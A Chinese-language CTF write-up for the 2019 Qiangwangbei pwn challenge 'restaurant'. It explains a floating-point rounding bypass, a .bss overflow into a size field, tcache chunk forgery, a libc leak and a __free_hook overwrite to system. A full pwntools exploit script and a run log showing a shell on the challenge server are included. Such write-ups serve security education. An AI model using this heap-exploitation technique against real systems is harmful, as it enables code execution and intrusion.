强网杯2019 pwn restaurant writeup

该题整体难度偏难,需要我们要从仅有的一个溢出点进行深挖,要求利用者有很强的堆构造能力。

源程序、相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/qwb2019/pwn/restaurant

安全防护

ex@Ex:~/test$ checksec restaurant
[*] '/home/ex/test/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

.bss:0000000000202360 ; double qword_202360[]
.bss:0000000000202360 qword_202360    dq ?                    ; DATA XREF: initial+7Aw
.bss:0000000000202360                                         ; Order+15Br ...
.bss:0000000000202368 ; double cost
.bss:0000000000202368 cost            dq ?                    ; DATA XREF: initial+86↑w
.bss:0000000000202368                                         ; Order+170↑r ...
.bss:0000000000202370 bill_number     dd ?                    ; DATA XREF: Order:loc_F79r
.bss:0000000000202370                                         ; Order+26Bw ...
.bss:0000000000202374                 align 8
.bss:0000000000202378 ; char *name
.bss:0000000000202378 name            dq ?                    ; DATA XREF: initial+6Bw
.bss:0000000000202378                                         ; set_name+A6r ...
.bss:0000000000202380 ; double bill[6]
.bss:0000000000202380 bill            dq 6 dup(?)
.bss:00000000002023B0                 dd ?
.bss:00000000002023B4                 dw ?
.bss:00000000002023B6 current_size    dw ?                    ; DATA XREF: initial+62↑w
.bss:00000000002023B6                                         ; set_name+96↑r ...

current_sizebill过于接近,中间只差了6个机器字长,如下所示:

v2 = bill_number++;
qword_202360[v2 + 4LL] = amount;
### Order()

bill_number增长为7时,就可以覆盖掉current_size,但是仅有这一次机会,也就是唯一的溢出点。

障碍

Order()

printf("How much do you want to pay as tips: ", &v4);
scanf("%lf", &v5);
if ( v5 < 0.55 )
{
  puts("You are not welcome here. Go away!");
  exit(0);
}
cost = v5 + cost;
if ( cost - qword_202360[0] > 3.0 )
{
  puts("Dude, you have eaten enough. Go back home!");
  exit(0);
}

costqword_202360[0]的差值最多为3.0,大于就会直接退出,但是每次一定至少要给小费0.55,所以正常来说,我们只能调用Order函数5次(3/0.55 = 5.4),但是要修改current_size的话,需要7次才行。

解决方法:

由于这些值全部是以double形式存储的,所以少不了精度丢失,所以我们只要一次将cost变成一个很大的值,那么后面相的0.55则会因为精度不够而舍去,这样就可以绕过该障碍。

set_name()

oid __fastcall set_name()
{
  unsigned int size; // [rsp+0h] [rbp-10h]
  char v0[2]; // [rsp+6h] [rbp-Ah]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Do you want to sign your name?:(y/n) ");
  read(0, v0, 2uLL);
  if ( v0[0] == 'y' )
  {
    printf("Input the length of your name: ", v0);
    scanf("%u", &size);
    if ( size <= 0x200 )
    {
      if ( (unsigned __int16)current_size < size )
      {
        free(name);
        name = (char *)malloc(size);
        current_size = size;
      }
      printf("Input your name: ", &size);
      read(0, name, (unsigned __int16)current_size);
      if ( name[(unsigned __int16)current_size - 1] == '\n' )
        name[(unsigned __int16)current_size - 1] = 0;
      printf("Here is your signature : %s\n", name);
    }
    else
    {
      puts("Why do you have such a long name? Go away");
      if ( current_size )
      {
        free(name);
        name = 0LL;
        current_size = 0;
      }
    }
  }
  else
  {
    puts("OK then");
  }
}

在该函数中,malloc有严格的规则,而且仅有一个指针name,这意味着,你一旦free之后,再malloc相同的size时,拿回的还是原来的chunk,这样我们就很难改fdtcache attached

思路

  1. 将cost变为一个很大的数,绕过限制
  2. 溢出bill,覆盖current_size
  3. heap overflow,构造heap结构
  4. 泄露地址
  5. 劫持hook
  6. getshell

将cost变大

# Request 1
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '1e16')

# Request 2
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '-99999')

Order(5, 1, 0x18, '\n')

通过调试可以考到,由于精度丢失,他们的值是相等的:

pwndbg> pr
cost
$1 = 10000000000000000
qword_202360
$2 = 10000000000000000

覆盖current_size & heap overflow

这里需要精心构造heap_layout,下面我将解释一下它的原理。

Order(5, 1, 0x18, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x58, '\n')
Order(5, 0, 0x78, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x18, '\n')

heap_layout = [
    'a' * 0x10,
    p64(0) + p64(0x421), # 0x38
    'b' * 0x30,
    p64(0) + p64(0x441), # 0x58
    'c' * 0x70,
    p64(0) + p64(0x81), # 0x78
    'd' * 0x350,
    p64(0) + p64(0x21), # fake_chunk
    'e' * 0x10,
    p64(0) + p64(0x21), # fake_chunk
    'f' * 0x30,
    p64(0) + p64(0x21), # fake_chunk
    'g' * 0x10,
    p64(0) + p64(0x21), # fake_chunk
]

payload = flat(heap_layout)
# edit current_size
Order(6, 999999, 10, flat(heap_layout))

对应的chunk我已经用注释表明出来了,fake_chunk的作用是使0x38chunk在被free的时候能过检查而构造的,这里只有一个name指针,因此我们是很难构造tcachefd的,但是我们可以利用 overflow来修改sizefd,将size修改为别的tcache对应的值,那样在free的时候就不会放回原处,我们就可以顺利拿出fd指向的任意chunk

然后free掉构造好的chunk。

Order(5, 0, 0x201, '\n')
# Order(5, 0, 0x58, '\n')
# Order(5, 0, 0x201, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x201, '\n')

bin的状态如下:

pwndbg> bin
tcachebins
0x20 [  1]: 0x561a010d5260 ◂— 0x0
0x40 [  0]: 0x6262626262626262 ('bbbbbbbb')
0x60 [  1]: 0x561a010d52c0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc'
0x80 [  1]: 0x561a010d5320 ◂— 'cccccccccccccccc'
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x561a010d5270 —▸ 0x7fa0ba6e6ca0 (main_arena+96) ◂— 0x561a010d5270
smallbins
empty
largebins
empty
pwndbg> 

泄露地址

泄露main_arena的地址。

Order(5, 0, 0x98, 'x' * 8)

sh.recvuntil('x' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 1104 # 
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

劫持hook

这里是劫持0x38下面的0x58,修改它的size使其free后不会归位,修改fd指向__free_hook从而劫持程序流。

heap_layout = [
    'o' * 0x30,
    p64(0) + p64(0x101),
    p64(__free_hook_addr - 8), # fd
]

Order(5, 0, 0x90, flat(heap_layout))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '\n')

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '/bin/sh\0'.ljust(8, 'z') + p64(system_addr))
Order(5, 0, 0x201, '\n')

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    typedef struct commodity
    {
        char name[32];
        double price;
        double dislike;
    }commodity;

    commodity no_use;
    '''

    f = open('/tmp/gdb_symbols.c', 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './restaurant'
sh = process(execve_file, env={"LD_PRELOAD": "/tmp/gdb_symbols.so"})
# sh = process(execve_file)
# sh = remote('eonew.cn', 60106)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    set $goods=(commodity *)$rebase(0x202060)
    set $bill=(double *)$rebase(0x202380)
    set $size=(unsigned short *)$rebase(0x2023B6)
    set $cost=(double *)$rebase(0x202368)
    set $u=(double *)$rebase(0x202360)
    set $name=(char **)$rebase(0x202378)

    define prg
        p *$goods@$arg0
        end

    define prb
        p *$bill@8
        x/8gx $bill
        end

    define pr
        echo cost\\n
        p *$cost
        echo qword_202360\\n
        p *$u
        end

    # b *$rebase(0xE69)
    '''

    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdbscript', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Order(index, num, length=None, name=None):
    sh.sendlineafter('Your choice:', '1')
    sh.sendlineafter('Which do you want: ', str(index))
    sh.sendlineafter('Good choice!How many do you want: ', str(num))
    sh.sendlineafter('How much do you want to pay as tips: ', '0.55')
    sh.recvuntil('Do you want to sign your name?:(y/n) ')
    if(length != None):
        sh.sendline('y')
        sh.sendlineafter('Input the length of your name: ', str(length))
        if(length <= 0x200):
            sh.sendafter('Input your name: ', name)
    else:
        sh.sendline('n')

# Request 1
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '1e16')

# Request 2
sh.sendlineafter('Your choice:', '4')
sh.sendlineafter('Name: ', 'negative')
sh.sendlineafter('Price: ', '-99999')

Order(5, 1, 0x18, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x58, '\n')
Order(5, 0, 0x78, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x18, '\n')

heap_layout = [
    'a' * 0x10,
    p64(0) + p64(0x421), # 0x38
    'b' * 0x30,
    p64(0) + p64(0x441), # 0x58
    'c' * 0x70,
    p64(0) + p64(0x81), # 0x78
    'd' * 0x350,
    p64(0) + p64(0x21), # fake_chunk
    'e' * 0x10,
    p64(0) + p64(0x21), # fake_chunk
    'f' * 0x30,
    p64(0) + p64(0x21), # fake_chunk
    'g' * 0x10,
    p64(0) + p64(0x21), # fake_chunk
]

payload = flat(heap_layout)
# edit current_size
Order(6, 999999, 10, flat(heap_layout))

Order(5, 0, 0x201, '\n')
# Order(5, 0, 0x58, '\n')
# Order(5, 0, 0x201, '\n')
Order(5, 0, 0x38, '\n')
Order(5, 0, 0x201, '\n')
Order(5, 0, 0x98, 'x' * 8)

sh.recvuntil('x' * 8)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 1104 # 
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

__free_hook_addr = libc_addr + libc.symbols['__free_hook']
log.success('__free_hook_addr: ' + hex(__free_hook_addr))

heap_layout = [
    'o' * 0x30,
    p64(0) + p64(0x101),
    p64(__free_hook_addr - 8), # fd
]

Order(5, 0, 0x90, flat(heap_layout))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '\n')

system_addr = libc_addr + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

Order(5, 0, 0x201, '\n')
Order(5, 0, 0x58, '/bin/sh\0'.ljust(8, 'z') + p64(system_addr))
Order(5, 0, 0x201, '\n')

sh.interactive()

运行实例

ex@Ex:~/test$ python exp.py 
[+] Opening connection to eonew.cn on port 60106: Done
[*] '/home/ex/test/restaurant'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
list index out of range
[+] main_arena_addr: 0x7f8d8b91dc40
[+] libc_addr: 0x7f8d8b532000
[+] __free_hook_addr: 0x7f8d8b91f8e8
[+] system_addr: 0x7f8d8b581440
[*] Switching to interactive mode
Why do you have such a long name? Go away
$ pwd
/home/pwn
$ ls
flag
restaurant
$ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$  

总结

当你找到溢出点时,你已经成功一半了。